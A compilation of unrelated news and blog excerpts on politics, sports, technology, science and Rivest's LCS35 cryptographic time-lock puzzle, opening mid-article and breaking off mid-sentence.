The [Poroshenko] administration right now is trying to re-coordinate communications,” said Telizhenko, adding, “The Trump organization doesn’t want to talk to our administration at all.” During Nalyvaichenko’s trip to Washington last month, he detected lingering ill will toward Ukraine from some, and lack of interest from others, he recalled. “Ukraine is not on the top of the list, not even the middle,” he said. Poroshenko’s allies are scrambling to figure out how to build a relationship with Trump, who is known for harboring and prosecuting grudges for years. A delegation of Ukrainian parliamentarians allied with Poroshenko last month traveled to Washington partly to try to make inroads with the Trump transition team, but they were unable to secure a meeting, according to a Washington foreign policy operative familiar with the trip. And operatives in Washington and Kiev say that after the election, Poroshenko met in Kiev with top executives from the Washington lobbying firm BGR — including Ed Rogers and Lester Munson — about how to navigate the Trump regime. Weeks later, BGR reported to the Department of Justice that the government of Ukraine would pay the firm $50,000 a month to “provide strategic public relations and government affairs counsel,” including “outreach to U.S. government officials, non-government organizations, members of the media and other individuals.” Firm spokesman Jeffrey Birnbaum suggested that “pro-Putin oligarchs” were already trying to sow doubts about BGR’s work with Poroshenko. While the firm maintains close relationships with GOP congressional leaders, several of its principals were dismissive or sharply critical of Trump during the GOP primary, which could limit their effectiveness lobbying the new administration. The Poroshenko regime’s standing with Trump is considered so dire that the president’s allies after the election actually reached out to make amends with — and even seek assistance from — Manafort, according to two operatives familiar with Ukraine’s efforts to make inroads with Trump. Meanwhile, Poroshenko’s rivals are seeking to capitalize on his dicey relationship with Trump’s team. Some are pressuring him to replace Chaly, a close ally of Poroshenko’s who is being blamed by critics in Kiev and Washington for implementing — if not engineering — the country’s anti-Trump efforts, according to Ukrainian and U.S. politicians and operatives interviewed for this story. They say that several potential Poroshenko opponents have been through Washington since the election seeking audiences of their own with Trump allies, though most have failed to do do so. “None of the Ukrainians have any access to Trump — they are all desperate to get it, and are willing to pay big for it,” said one American consultant whose company recently met in Washington with Yuriy Boyko, a former vice prime minister under Yanukovych. Boyko, who like Yanukovych has a pro-Russian worldview, is considering a presidential campaign of his own, and his representatives offered “to pay a shit-ton of money” to get access to Trump and his inaugural events, according to the consultant. The consultant turned down the work, explaining, “It sounded shady, and we don’t want to get in the middle of that kind of stuff.” -Questions on 'the legality of the conduct of News Corporation,' was raised, Lautenberg wrote. | REUTERS 9/11 families call for U.S. probe of Murdoch Angry family members of victims of the 9/11 attacks and a growing number of lawmakers on Wednesday called for a U.S. investigation into allegations that journalists at the British News of the World tabloid sought to hack the phones of their lost love ones. “Someone should look into it to see if their rights were violated – the family members I’ve talked to are appalled, they’re disgruntled, they have to relive the pain all over again,” Jim Riches, a former deputy chief in the New York Fire Department whose 29-year-old fireman son was killed in the attacks, told POLITICO. Story Continued Below “I think they crossed the line. They’re trying to get messages from loved ones in the last moments of their lives. It’s horrible, and they should be held accountable. It’s despicable and unethical,” Riches added. Sally Regenhard, vice chairwoman of 9/11 Parents and Families of Firefighters & World Trade Center Victims, said that she also supports an American probe and added that the latest allegations come at a particularly hard time for victims’ families.. “It’s hard enough for people to deal with the 10th anniversary and now this – it just adds more salt to the wounds,” said Regenhard, who lost her 28-year-old firefighter son, on Sept. 11. “If it’s true, then it’s an egregious violation of decency and respect. Whether it’s 9/11 victims or the British victim – the child who was kidnapped – I think we really need to look at national and international standards for security for privacy for this type of thing,” Regenhard added. “We need to put a hold on this no matter who it is.” Meanwhile, an increasing number of lawmakers on Capitol Hill are now pushing for an investigation. With many of the 9/11 victims having been New Jersey residents, Sen. Frank Lautenberg (D-N.J.) called on the Department of Justice and the Securities and Exchange Commission to look into the conduct of Rupert Murdoch’s media empire. “The limited information already reported in this case raises serious questions about the legality of the conduct of News Corporation and its subsidiaries under the [Foreign Corrupt Practices Act],” Lautenberg wrote. “Further investigation may reveal that current reports only scratch the surface of the problem at News Corporation.” Sens. Jay Rockefeller (D-W.Va) and Barbara Boxer (D-CA) sent a letter Wednesday to U.S. Attorney General Eric Holder and Securities and Exchange Commission Chairman Mary Schapiro urging their respective agencies to probe whether employees of News Corp. subsidiaries attempted to bribe British police and whether Americans’ phones may have been hacked. “The reported allegations against News Corporation are very serious, indicate a pattern of illegal activity, and involve thousands of potential victims. It is important to ensure that no United States laws were broken and no United States citizens were victimized,” the senators wrote in the letter. In a separate letter, Robert Menendez (D-N.J.) also called for a DOJ investigation. Laura Sweeney, a DOJ spokesperson, said that the department would review the letters but declined further comment. The 9/11 hacking allegations first surfaced in a report in the British newspaper, the Daily Mirror. The paper said journalists at the News of the World approached a New York private investigator and tried to buy phone records of victims from him. The investigator, who had been a cop, allegedly declined to provide the records. -In the latest teaser for the HTC 10, HTC, the VR-focused electronics company who now makes phones on the side, is bragging up their next phone’s performance. Not only that, but they have confirmed the Samsung-esque button setup on the phone’s chin, although it is at least in the correct arrangement. The teaser says that we should expect the “fastest and smoothest Android” yet, which is actually something we love to hear as Android elitists. Android “jank” has almost always been a problem on phones not made by Google, so hopefully HTC can prove to the world that all Android skins really aren’t “created equal.” I would imagine that the next version of Sense that will be coupled with the HTC 10 will be leaner than ever, helping it with performance. As for the button setup, well, you can see it there. We are looking at a centered home button that doubles as a fingerprint sensor, with back and app switcher flanking it. It’s not a setup I would typically prefer, but as I mentioned above, at least they put the buttons in the correct spots with back on the left and app switcher on the right. Even Samsung can’t seem to get that right. Part of me is still holding out hope that we’ll be able to turn off the capacitive buttons and go with an on-screen setup, like we saw on the OnePlus 2. Will HTC? We haven’t seen any indication of that happening. A boy can dream. After seeing this new teaser, specs from GFXbench, and all of those leaked pictures from yesterday, your interest has to be growing some? Come on, you have to be at least a bit curious, right? -The BJP's Andhra Pradesh unit has decided to cash in on Gujarat chief minister Narendra Modi's popularity, literally. In a first, the party's state unit is collecting a registration fee of Rs 5 per person to attend a public meeting to be addressed by its election campaign committee chief here on August 11. "Other parties ferry people for their public meetings... The idea of collecting the nominal amount is to encourage seriousness and commitment. We will contribute the collected amount towards Uttarakhand relief,” state BJP spokesman N Ramachandra Rao said. And, keeping in mind Modi's following in the virtual world, the registration can be done online. The registration process began recently and will continue till August 10. The Lal Bahadur Stadium in central Hyderabad is the venue for the meeting and the target is to mobilise one lakh people in the age group of 18-40 years, Rao said. The BJP aims to reach out to the large crowd of IT professionals and college students in the tech-savvy Andhra Pradesh capital, he said. About 40,000 people have already registered and the party hopes that it will go up to at least 70,000, Rao said. Modi's rally was originally scheduled for July 27 but was postponed to August 11 in view of the Gram Panchayat elections. The BJP poster boy's rally here would be the first for him in south India after being made the chief of the party's election campaign committee. The BJP, which has four members in the legislative assembly, is making a determined effort to increase its strength in the state in the 2014 general and assembly elections. The party is focusing on Telangana region and has aggressively taken up the cause of separate statehood. -This year’s strong spring flows through the Columbia River come amid a high-stakes conflict over how much water should be used to help salmon migrate over the dams rather than run through hydroelectric turbines. CASCADE LOCKS, Oregon — In this year of epic snow and rain, the Columbia River is a formidable sight, thundering over spillways at Bonneville Dam to form a turbulent stretch of white water that courses toward the sea. The spring flows through the region’s mightiest waterway are a dramatic turnaround from the drought that gripped the region two years ago. They have been some of the strongest in decades, with a March 25 peak at Bonneville that was the highest for that month since at least 1960, according to the Army Corps of Engineers. These high flows come amid an intensifying clash over how to manage the federal network of Columbia Basin hydroelectric dams that offer the region abundant low-cost renewable power but also are a major obstacle to the recovery of 13 runs of wild salmon and steelhead. In a court victory this spring, salmon advocates persuaded U.S. District Court Judge Michael Simon to ordermore water spilled over the dams to aid young salmon. That’s easy to do in high-water years such as this spring. But the injunction, which already has stirred a backlash from some in Congress, will require higher levels in leaner water years, and that could mean, at times, running significantly less water through the hydroelectric dams. In his ruling, Simon cited a “growing scientific body of evidence and growing consensus” to support the higher levels of spills. This water helps to guide young salmon over the dams, steering them away from a more treacherous trip downstream through the powerhouses that can prove fatal. It also creates a current that can help propel these juvenile fish toward their ocean feeding grounds, where they mature before returning to freshwater to spawn. “Spill helps this dammed-up river act a little more like an actual river,” said Joseph Bogaard, executive director of the Seattle-based Save Our Wild Salmon coalition, which had members among the lawsuit plaintiffs. “It delivers juvenile salmon to the ocean more quickly and safely.” Federal biologists at NOAA Fisheries largely acknowledge the benefits. But they question the need to ramp up the spill to significantly higher levels. They argue that in some circumstances more spill may not offer more help to the fish, and in their court filings they allege that the National Wildlife Federation and other plaintiffs “attempt to oversimplify a complex and dynamic system.” In another court filing, the Bonneville Power Administration (BPA), the federal agency that markets the hydroelectric power to regional public utilities, estimated the cost of added spill as an estimated $80 million of lost power generation over a two-year period. The judge largely rejected the federal agencies’ arguments. In his March 27 ruling, he gave federal agencies a year to come up with spill plans for each federal dam in the Columbia River Basin. Federal agencies, in recent decades, have spent billions of dollars to help revive the 13 runs listed for protection under the Endangered Species Act. But this was the latest in a string of rulings that over the years have faulted the federal agencies for failing to push forward aggressively enough to save these runs. Opportunity to learn For young salmon, downstream passage is a critical phase, and salmon advocates say this spring offers an excellent opportunity to learn more about the impacts of increased spill to aid these fish. Unlike many years, plenty of water is available both to run the turbines at the highest levels that can be handled by the regional power grid and to push over the spillways at the levels outlined in the court order. And this year’s high water volume is expected to continue deep into the spring as warmer temperatures begin to melt a high-elevation snowpack that remains largely intact. “The thing that is on my radar is the amount of snow still above 6,000 feet,” said Steven Barton, the U.S. Army Corps of Engineers chief of water management for the Columbia Basin. “We are going to continue to have flows at levels higher than people have seen in a long time.” Bonneville, unlike some upstream dams, has no storage reservoir behind it. So all the river water must pass as it arrives. And, through the course of the day, Army Corps officials decide how to allocate the flow between powerhouse turbines and spill as they consult with the BPA, federal fishery biologists and other stakeholders. Sometimes, these decisions get complicated by maintenance, such as with an erosion-repair project that this year put Bonneville workers below the spillway. “They would go work for eight or 10 hours, and then we shoo them out and go spill for eight or 10 hours,’’ said Ray Guajardo, hydroelectric power operations manager at Bonneville. “Everything is coordinated. Everything.” As the water is spilled, it increases the dissolved gases. Those gas levels are carefully monitored because — if they go too high — both sides in the legal battle agree they can injure or kill young salmon. That’s why Washington and Oregon have set total dissolved-gas limits. They are not supposed to exceed 120 percent in the water that reaches an area below the dam. In recent weeks, due to the unavoidable need to pass so much water over the dams, the dissolved gas levels at Bonneville and other sites have often averaged above the states’ limits. They often have measured in the 121 to 125 percent range, according to monitoring reported by the federally funded Fish Passage Center in Portland. Michele DeHart, the center’s director, said that danger zone starts somewhere above 125 percent. Sampling of this year’s young salmon — known as smolts — has not detected significant health problems from the higher levels. “We’ve been monitoring gas-bubble trauma under all conditions every single year — for about 20 years, and what we are seeing is consistent with all the historical data,” said DeHart. ‘Unintended consequences’ DeHart said years of research — under all different kinds of river conditions — indicate the increased flows should boost the numbers of smolt that make it to the ocean. That, in turn, should bump up the percentage of fish that return as adults to spawn in the Columbia Basin. But some politicians are not happy with what’s been happening on the Columbia this spring. In a May 2 letter to the administrator of the BPA, four Northwest members of Congress — Washington Republican Reps. Cathy McMorris Rodgers and Dan Newhouse, and Oregon Democratic Reps. Kurt Schrader and Peter DeFazio — expressed “deep concern” with the management of the Columbia Basin dams in the aftermath of the federal judge’s order. Their letter appears to question the science behind the judge’s order and the economic impact that could arise in future lean-water years as more power production is sacrificed to fish passage. “As you know, Judge Simon is ordering a significant increase in mandatory spill in the spring of 2018,” they wrote. “ … there will likely be unintended consequences that will hurt fish recovery while greatly increasing power costs … Our constituents deserve to understand the proposed measures, as well as the expected impacts they will have on the region.” In their letter, they ask for the BPA to answer a series of questions about the dams, fish and costs to the region’s ratepayers in carrying out the judge’s order. Bogaard, of Save our Wild Salmon, views the letter as “an excellent example of how politics continually intervenes to distort policy for salmon and communities in the Columbia Basin.” Bogaard wants salmon restoration based on the best science. Otherwise, he cautions, those efforts risk failing, and wasting taxpayer dollars. -Davis, who wanted to play and did appear at first base in the 11th, was initially listed in his usual fifth spot in the lineup. But after manager Buck Showalter spoke to the first baseman and conferred with the team's training staff, the O's decided to give Davis a day off. NEW YORK -- Chris Davis was scratched from the starting lineup for Sunday's 11-inning, 7-4 Orioles win in New York after being hit by a pitch in the left elbow in Friday's series opener. NEW YORK -- Chris Davis was scratched from the starting lineup for Sunday's 11-inning, 7-4 Orioles win in New York after being hit by a pitch in the left elbow in Friday's series opener. Davis, who wanted to play and did appear at first base in the 11th, was initially listed in his usual fifth spot in the lineup. But after manager Buck Showalter spoke to the first baseman and conferred with the team's training staff, the O's decided to give Davis a day off. View Full Game Coverage Davis, who went 0-for-3 with two strikeouts on Saturday, was replaced by rookie Trey Mancini, who hit sixth, with catcher Welington Castillo batting fifth. -“In the walls of the cubicle there were three orifices. . . . Similar slits existed in thousands or tens of thousands throughout the building. . . . For some reason they were nicknamed memory holes.” — George Orwell, “1984” Documents inconvenient to the regime went into the Ministry of Truth’s slits and down to “enormous furnaces.” Modern tyrannies depend on state control of national memories — retroactive truths established by government fiat. Which is why Russia’s Supreme Court recently upheld the conviction of a blogger for violating Article 354.1 of Russia’s criminal code. This May 2014 provision criminalizes the “rehabilitation of Nazism.” The blogger’s crime was to post: “The communists and Germany jointly invaded Poland, sparking off the Second World War.” The secret protocols of the Molotov-Ribbentrop Pact have gone down one of Vladimir Putin’s memory holes. The pact was signed Aug. 23, 1939. On Sept. 1, Germany invaded Poland. Sixteen days later, the Soviet Union invaded from the east. Poland was carved up in accordance with the secret protocols, and less than a year later Soviet occupiers were conducting the Katyn Forest Massacre of 25,700 Polish military officers, officials, priests and intellectuals. Although in 2009 Putin denounced the pact as “collusion to solve one’s problems at others’ expense,” last year he defended it as Stalin’s means of buying time to prepare for the Nazi onslaught. This fable is refuted by, among other facts, this: Stalin did not prepare. When Germany’s ambassador in Moscow informed Foreign Minister Vyacheslav Molotov that their nations were now at war, a stunned Molotov asked, “What have we done to deserve this?” The Russian Supreme Court’s Orwellian ruling was that the blogger denied facts established by the Nuremberg war crimes tribunal. The tribunal convicted leading Nazis of waging aggressive war against, among others, Poland, but, in an act of victor’s justice, made no judgment against the Soviet regime, representatives of which sat on the tribunal. This accommodation to postwar political reality was necessary to enable the tribunal to function, which was necessary for civilizing vengeance. The tribunal ignored, but did not deny, the patent fact of Soviet aggression. The Russian court’s ruling is a window into the sinister continuity of Putin’s Russia and the Soviet system that incubated him. So, if the former secretary of state who aspires to the American presidency has time to read a book before Jan. 20, she should make it “The New Tsar: The Rise and Reign of Vladimir Putin” by Steven Lee Myers of the New York Times. It is a study of the volatile nostalgia of a man seething with resentments acquired as a KGB operative — a “devoted officer of a dying empire” — during the Soviet Union’s final years. It is a pointillist portrait painted with telling details that should cause sobriety to supplant dreams of happy policy “resets” with Russia. As a senior security official in post-Soviet Russia, Putin kept on his desk a bronze statue of “Iron Felix” Dzerzhinsky, founder of the Soviet secret police and terror apparatus. At Putin’s May 7, 2000, presidential inauguration, a choir sang a composition “written in 1836 to celebrate a soldier’s death in the war against Poland and rewritten in Soviet times . . . to remove the homage to the tsar. For Putin, the choir sang the Soviet verses.” There was the 2006 assassination in Moscow, on Putin’s 54th birthday, of the troublesome journalist Anna Politkovskaya. (Asked about the frequent deaths of anti-Putin journalists, Donald Trump breezily said, “I think that our country does plenty of killing.”) And the 2006 poisoning in London of Putin’s antagonist, Alexander Litvinenko, using radioactive polonium 210. Domestically, Putin’s “managed democracy” is Stalinism leavened by kleptomania, as in the looting of the energy giant Yukos. In foreign policy, Putin’s Russia is unambiguously and unapologetically revanchist. The Soviet Union was likened to a burglar creeping down a hotel corridor until he finds an unlocked door. Putin, who found Crimea unlocked (when he honeymooned there in 1983, it seemed “a magical, sacred place to him,” writes Myers), is pushing on the door of what remains of Ukraine. The Democratic presidential nominee fundamentally misread Putin’s thugocracy, and her opponent admires the thug because “at least he’s a leader.” As the Russian blogger’s fate demonstrates, Putin practices what Orwell wrote: “ ‘Who controls the past,’ ran the Party slogan, ‘controls the future: who controls the present controls the past.’ ” In early 2015, the Pew Research Center conducted a poll that looked at American views of the conflict in Ukraine. Respondents were asked whether they had favorable or unfavorable views of Russian President Vladimir Putin. (Adam Taylor,Jason Aldag/The Washington Post) Back in the day, some analysts prophesied a “convergence” between the Soviet Union and the United States, two industrial societies becoming more alike. In our day, there is indeed a growing similarity: In both places, post-factual politics are normal. Read more from George F. Will’s archive or follow him on Facebook. -Israel on Tuesday appointed the first-ever female judge to serve in the country’s sharia court system. The unanimous appointment of Hana Khatib, hailed by some Arab lawmakers as “historic,” was carried out by the Committee to Elect sharia judges, known as qadis, which is headed by Justice Minister Ayelet Shaked. Khatib is from the town of Tamra, located in the lower Galilee region. She practices family and sharia law, according to an online advertisement for her firm. Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up Sharia courts in Israel deal with personal status issues for the Muslim community, such as marriage, divorce, conversion, inheritance and prevention of domestic violence. They have existed in what is now Israel since early Ottoman times and through the British Mandate, and were recognized by the State of Israel upon its founding in 1948. Shaked, a member of the right-wing Jewish Home party, said the appointment of a female Muslim religious judge “should have happened a long time ago.” “This is great news for Arab women and the Arab society,” she said in a statement. “I’m excited over the choice, and hope this is the bellwether for further appointments of women.” Arab-Israeli lawmakers hailed the appointment as an achievement for Arab-Israeli women in the Jewish state. MK Aida Touma-Suleiman (Joint List), who is the chairperson of the Knesset’s Committee on the Status of Women and Gender Equality, called the appointment “a historic step in the Arab feminist movement in Israel, a step that benefits not only Arab-Muslim women, but the entire Arab population in Israel.” She said that in 2000 she filed a petition on the subject to the Supreme Court, and at the start of her tenure as a lawmaker in 2015, she, along with MK Issawi Farij (Meretz), followed up the petition with a Knesset bill. MK Osama Saadi (Joint List), a member of the Committee to Appoint Judges, said Khatib’s appointment was “a very important step in the right direction for a proper and worthy Arab representation in the judiciary.” The Abraham Fund, an Israeli nonprofit working on Arab-Jewish coexistence issues, said in a statement: “The appointment of a Muslim woman to the important role is a historic step that signals Arab women to aspire to leadership positions.” Khatib will be sworn in by President Reuven Rivlin in a few weeks. There are not many female qadis around the world. Two women serve as sharia judges in the neighboring Palestinian Authority. There are nine regional sharia courts in Israel as well as an appeal courts, with Tuesday’s appointments bringing the number of qadis in the Muslim system to 18. AFP contributed to this report. -Valencia's defender Jose Gaya (left) celebrates a goal. Valencia are neither surprised nor alarmed at reports linking Real Madrid with a summer bid for Jose Gaya. The 19-year-old left-back, whose contract at the Mestalla runs until June 2018, is one of the brightest young talents in La Liga and has had an impressive season. Spanish sports newspaper Marca reports on Wednesday that Real are looking to make a move at the end of the season for the Spain Under-21 international. "We don't have to send out messages to anyone," Valencia's director of football Francisco Rufete told Valencia TV on Wednesday. "We are in talks since a few weeks ago with Gaya, wiith his family and with his agent to extend his contract. "We are confident he will remain at Valencia for many years." According to the local media, Valencia want to tie Gaya to the club for a further six years and significantly increase his buy-out clause, which is currently set at £13.4m. Gaya, a product of Valencia's youth academy, has been a regular in Nuno's side since the Che club sold Spanish left-back Juan Bernat to Bayern Munich last summer. The promising youngster has started in 17 league games, scoring one goal and setting up three more to help Valencia remain in contention for Champions League qualification next season. Valencia striker Paco Alcacer, who on Tuesday extended his contract with the club until June 2020, is not surprised that Gaya is attracting interest from top clubs. When asked about Real's reported interest in Gaya, he told Valencia TV: "It's normal that they are enquiring and that they want him. "I see him very happy and well adapted to the team." -Deutsche Telekom’s (DT) CEO said the operator is “not in the mood” to sell T-Mobile US, although he didn’t dismiss the possibility completely, especially in the case of changes in the US regulatory environment following the election of a new president, Reuters reported. DT has a 65 per cent stake in T-Mobile US and has tried twice in the past five years to sell it, coming up against regulatory objections both times. However, since then, the US operator has been on a strong upward trajectory: in Q3 2016 revenue surged 17 per cent to €8.28 billion with almost 2 million new customers. Some analysts believe T-Mobile US is DT’s “only opportunity to grow”, the Reuters report said. According to CEO Tim Hoettges, speaking at a Morgan Stanley event: “We are not in the mood of selling the business. We are not in the mood of: ‘Oh where is the partner we need?'”. “We are now open to how we could create something beyond our execution, which is creating value,” he said. However, he also said that “with Trump, the regulatory environment might change. Everybody is expecting this. At least the chance is bigger than it was under the Democrats”. “I am not afraid about whether a (pure) mobile player can survive in this environment. If there are any options, we are going to consider,” he added. It should be noted that T-Mobile US’ total revenue is significantly higher than its parent’s domestic business. The German unit’s revenue (fixed as well as mobile) in Q3 was €5.6 billion, a decline of 0.8 per cent. -Antihydrogen is rare in our part of the Universe. Indeed, it was only last year that scientists at CERN’s Antihydrogen Laser Physics Apparatus (ALPHA) managed to trap a significant amount of the stuff for the first time, albeit only 38 antiatoms for just 172 milliseconds. Today, they announce a significant improvement. These guys now say they’ve trapped 309 antihydrogen atoms for up to 1000 seconds. That’s an increase in trapping time of four orders of magnitude, comparable to what’s possible with good old ordinary matter. The news is significant because it makes possible a new set of experiments that should answer some important questions. Most important of these is whether ordinary gravity attracts or repels antimatter. In other words, does antihydrogen fall up or down? Although there have been many attempts to do this experiment, all have been inconclusive because nobody has been able to trap a good lump of antimatter for long enough to try. All that should soon change. The ALPHA team now plans to cool a small lump of antihydrogen and then watch it as it falls (or rises). Which means physicists should have their answer within months. Ref: arxiv.org/abs/1104.4982: Confinement Of Antihydrogen For 1000 Seconds You can now follow the Physics arXiv Blog on Twitter -Bernie Sanders Knows His Medicare-For-All Bill Won't Pass. That's Not The Point Enlarge this image toggle caption Drew Angerer/Getty Images Drew Angerer/Getty Images Vermont Sen. Bernie Sanders will introduce a bill next month to create a government-run, single-payer health care system. And he knows it's going to fail. "Look, I have no illusions that under a Republican Senate and a very right-wing House and an extremely right-wing president of the United States, that suddenly we're going to see a Medicare-for-all, single-payer passed," he said recently, sitting in his Senate office. "You're not going to see it. That's obvious." The point of the bill, Sanders says, is to force a conversation: "Excuse me: why is the United States the only major country on earth not to guarantee health care to all people? Why are we spending far, far more per capita on health care than any other nation? Why do we pay the highest prices in the world for prescription drugs?" Single-payer was a major policy plank of Sanders' 2016 presidential campaign, and he has been ready all year to put it into legislation. He was just waiting for Republicans to wrap up their effort to repeal and replace the Affordable Care Act, also known as Obamacare. That means Sanders has been waiting for a while. Despite President Trump's continued calls for Congress to repeal Obamacare, House and Senate Republicans appear to have moved on to other priorities. That means when Congress returns to Washington, D.C., next month, Sanders will roll out his bill. The measure is the latest example of how Sanders is trying to push the Democratic Party — a party he is not formally a member of as an independent — to the left. Sanders and his staff are confident a substantial number of Democratic senators will co-sponsor the measure. But many Democratic Party leaders continue to hold the idea of single-payer at arm's-length. Democratic National Committee Chairman Tom Perez regularly pivots to a broader answer about health care policy when he is asked whether he backs a single-payer plan. "We believe that health care is a right for all, and not a privilege for a few," Perez recently told NPR. "And right now, in Washington, D.C., in the political climate in which we live, preserving the Affordable Care Act is a major victory." House Minority Leader Nancy Pelosi was more direct earlier this year when she was asked whether Democrats should run on a single-payer platform in 2018. "No," Pelosi said. "I say to people, 'You want to do that, do it in your states.' " "The comfort level with a broader base of the American people is not there yet. Doesn't mean it couldn't be. States are a good place to start," she added. Democrats in Pelosi's home state of California tried to pass a single-payer bill this year. The measure passed the state Senate but stalled in the Assembly, despite complete Democratic control in Sacramento, the capital. The resistance from Pelosi and other Democratic leaders is tactical, not ideological. It took decades to pass something like Obamacare, and their concern is that, despite what polls might suggest, something as aggressive as single-payer just isn't politically feasible right now. In fact, the congressional leaders you hear talking about single-payer are often Republicans, not Democrats. House Speaker Paul Ryan and other Republicans regularly float it as a worst-case Democratic alternative. "Ultimately it's very clear that they're more interested in a single-payer system, which means government-run health care," Ryan said during the Senate push to repeal Obamacare. "Government-run health care is not in our nation's interest." Senate Republicans even forced a vote on a single-payer option on the Senate floor last month, hoping to get Democrats on the record supporting the idea. Most Democratic senators voted "present." No one voted "yes." "I urged my colleagues to vote 'present' because we are not going to dance to the tune of right-wing Republicans, who of course were not prepared to support a single-payer," Sanders said. "For them, it was just a political moment that they thought would be advantageous for them." Polls show single-payer is gaining support. A recent Pew Research survey showed the number of respondents favoring government-run health care has gone up percentage points this year alone and is 12 points higher than it was in 2014. In a more important metric, more than half of House Democrats signed on to co-sponsor a single-payer bill earlier this year. Jeff Weaver, a longtime adviser to Sanders, argues Democrats should be more aggressive on health care after a stretch during which broad swaths of voters organized against the GOP's Obamacare repeal effort. "This is a very powerful issue, in that people are prepared to be mobilized in support of their health care," Weaver said. Like Sanders readily admits, this bill isn't going anywhere any time soon. The whole thing is more about political framing — getting Democrats to the point where this would be a top priority whenever the party is back in power. That is how progressive activists like Adam Green, the co-founder of the Progressive Change Campaign Committee, are viewing Sanders' impending bill rollout. "If we left this debate with 20 senators on the record supporting single-payer, and the entire Senate Democratic caucus uniting around giving every American the option of buying into Medicare if they want to, that would be a wonderful place to land," Green said. -During the CES trek I take every year the Modders-Inc team in 2014 landed at the Zotac Booth. While at the booth we got the normal tour of all the items they had and are coming out with. During this we came across a computer that was shaped like an orb called the Zotac ZBOX Sphere OI520. My first thought was “Wow this would be a cool case to mod into the Death Star from Star Wars”. So during the conversation I brought up the idea and we all had a good laugh about and went on talking about others things. Well a month later I got contacted by Zotac about bringing the Death Star Case Mod to life and of course my reactions was “Yes, lets do it”. And so the journey began… I would like to say thanks to Zotac for the product to mod. Straight from Zotac was a delivery of the OI520 in a plain box with plenty of protection. I am guessing that I got the case that was on display at CES 2014 or another demo model, but either way I got it and it is time to go to work. You might think that the computer is large, but it is not. At only 6 inches across I knew it would be a challenge to work with and get the detail I wanted. The rear of the OI520 has all the connections that a typical PC would have. One thing that really helped the idea of the Death Star was that Zotac put a lighted ring around it, just where the trench would be. This also created one issue for me and that was do I put the planet destroying laser? -Ryan Kalish’s major league career still hasn’t taken off. Kalish, once a highly touted prospect in the Boston Red Sox organization, was designated for assignment by the Chicago Cubs on Friday. The move made room on the Cubs’ roster for pitcher Jacob Turner, who was acquired from the Miami Marlins. Kalish turned heads after being drafted by the Red Sox in the ninth round in 2006. The outfielder was considered one of Major League Baseball’s top 100 prospects before the 2008 season by both Baseball America (No. 96) and Baseball Prospectus (No. 60). He ultimately broke into the majors with Boston in 2010, hitting .252 with four homers, 24 RBIs and 10 stolen bases in 53 games that season. A rise to stardom seemed inevitable, but neck and shoulder injuries have stalled Kalish’s career. He never appeared in the majors in 2011 and then missed all of 2013. The Red Sox chose not to tender him a contract following the 2013 season. Theo Esptein and the Cubs took a chance on Kalish. The 26-year-old made the club’s Opening Day roster this season, but he has hit just .242 (22-for-91) with four RBIs and three stolen bases in 39 games at the major league level in 2014. Kalish, known for his gritty style, is young enough that better days could lie ahead. Things haven’t come together to this point, but he at least is healthy, which hasn’t always been the case. -In 1999 cryptographer Ron Rivest published an encrypted text that was designed to take 35 years to break. 18 years later it is still unbroken. Click here for the complete top 50 list The unsolved encrypted message I am writing about today depends on a simple equation. Here it is: All you need to do is calculate the value of w. This value can then be used to decrypt a ciphertext. The values of t and n are the following: t = 79685186856218 n = 631446608307288889379935712613129233236329881833084137558899 077270195712892488554730844605575320651361834662884894808866 350036848039658817136198766052189726781016228055747539383830 826175971321892666861177695452639157012069093997368008972127 446466642331918780683055206795125307008202024124623398241073 775370512734449416950118097524189066796385875485631980550727 370990439711973361466670154390536015254337398252457931357531 765364633198906465140213398526580034199190398219284471021246 488745938885358207031808428902320971090703239693491996277899 532332018406452247646396635593736700936921275809208629319872 7008292431243681 The LTC35 challenge The cryptogram described above was developed by Ron Rivest, known as the “R” of RSA. I took the following picture of him at last year’s RSA Conference in San Francisco: Ron Rivest published this challenge on the occasion of the 35th birthday of MIT’s Laboratory for Computer Science (LCS) in 1998. This puzzle is designed to take approximately 35 years to solve. It is therefore referred to as “LCS35 challenge” or “LCS35 cryptogram”. I wrote my first blog article about it in 2014 (in German). The LCS35 challenge uses ideas described in the paper Time-lock puzzles and timed-release Crypto by Rivest, Adi Shamir (the “S” in RSA), and David Wagner. To the extent known, the value of w can only be calculated sequentially, which means that it is not possible to parallelize this process. The puzzle can be solved by performing t successive squarings modulo n. There is no known way to perform this computation more quickly, unless one knows the factorization of n, which is the product of two large prime numbers. Rivest chose the value of t taking into consideration the growth in computational power due to Moore’s Law. He estimated that the puzzle would require 35 years of continuous computation to solve, with the computer used being replaced every year by the fastest model available. The ciphertext Once one has found out the value of w, one has to exclusive-or it with the following ciphertext: 427338526681239414707099486152541907807623930474842759553127 699575212802021361367225451651600353733949495680760238284875 258690199022379638588291839885522498545851997481849074579523 880422628363751913235562086585480775061024927773968205036369 669785002263076319003533000450157772067087172252728016627835 400463807389033342175518988780339070669313124967596962087173 533318107116757443584187074039849389081123568362582652760250 029401090870231288509578454981440888629750522601069337564316 940360631375375394366442662022050529545706707758321979377282 989361374561414204719371297211725179287931039547753581030226 7611143659071382 The result is the cleartext, which provides information about the factorisation of n. This allows the solution to be easily verified. There’s one important problem Rivest mentions in his LCS35 description: If there’s an error in the computation, all the following work will be useless. Crypto experts will note that there is a relationship between the LCS35 challenge and the RSA algorithm (co-invented by Rivest, Shamir and Leonard Adleman). Both can be broken by factorizing a large prime number product. In this case this product has 2048 bits. The longest prime number product ever publicly factorized is 768 bits long. It is therefore as good as impossible to attack a 2048 prime number product, which means that the RSA algorithm with a 2048 public key is secure and that the LCS35 challenge can only be solved via the squaring method described above. I am not aware of anyone, who is currently working on the LCS35 challenge. According to Rivest’s LCS35 description, the solution will be publicly announced in 2033. My expectation is that nobody will come up with the solution before. Follow @KlausSchmeh Further reading: Three new episodes of Chief Security Officer Linkedin: https://www.linkedin.com/groups/13501820 Facebook: https://www.facebook.com/groups/763282653806483/ Subscribe to Blog via Email -So you're sitting in the pub and your nice-but-naive friend says: "Hey, I heard the most amazing story the other day. There were these twins, right, a boy and a girl, who were separated at birth and adopted by different families. And, like, years later, by an amazing coincidence, they meet. And fall madly in love, and get married. Straight up! Then, obviously, they find out they're actually brother and sister. And it all has to be annulled, and they're just devastated. It's the ultimate nightmare. Can you imagine?" Assuming your brain is still functioning like the well-oiled piece of precision engineering it is, your response would, I trust, be: "That's a wind-up if ever I heard one. Think about it for a minute - you mean these two meet by accident, discover not only that they were both adopted but were born on exactly the same day in exactly the same town, and still never pause to wonder whether they might be related? Pull the other one. What did it say on their birth certificates?" Last week it was reported that this 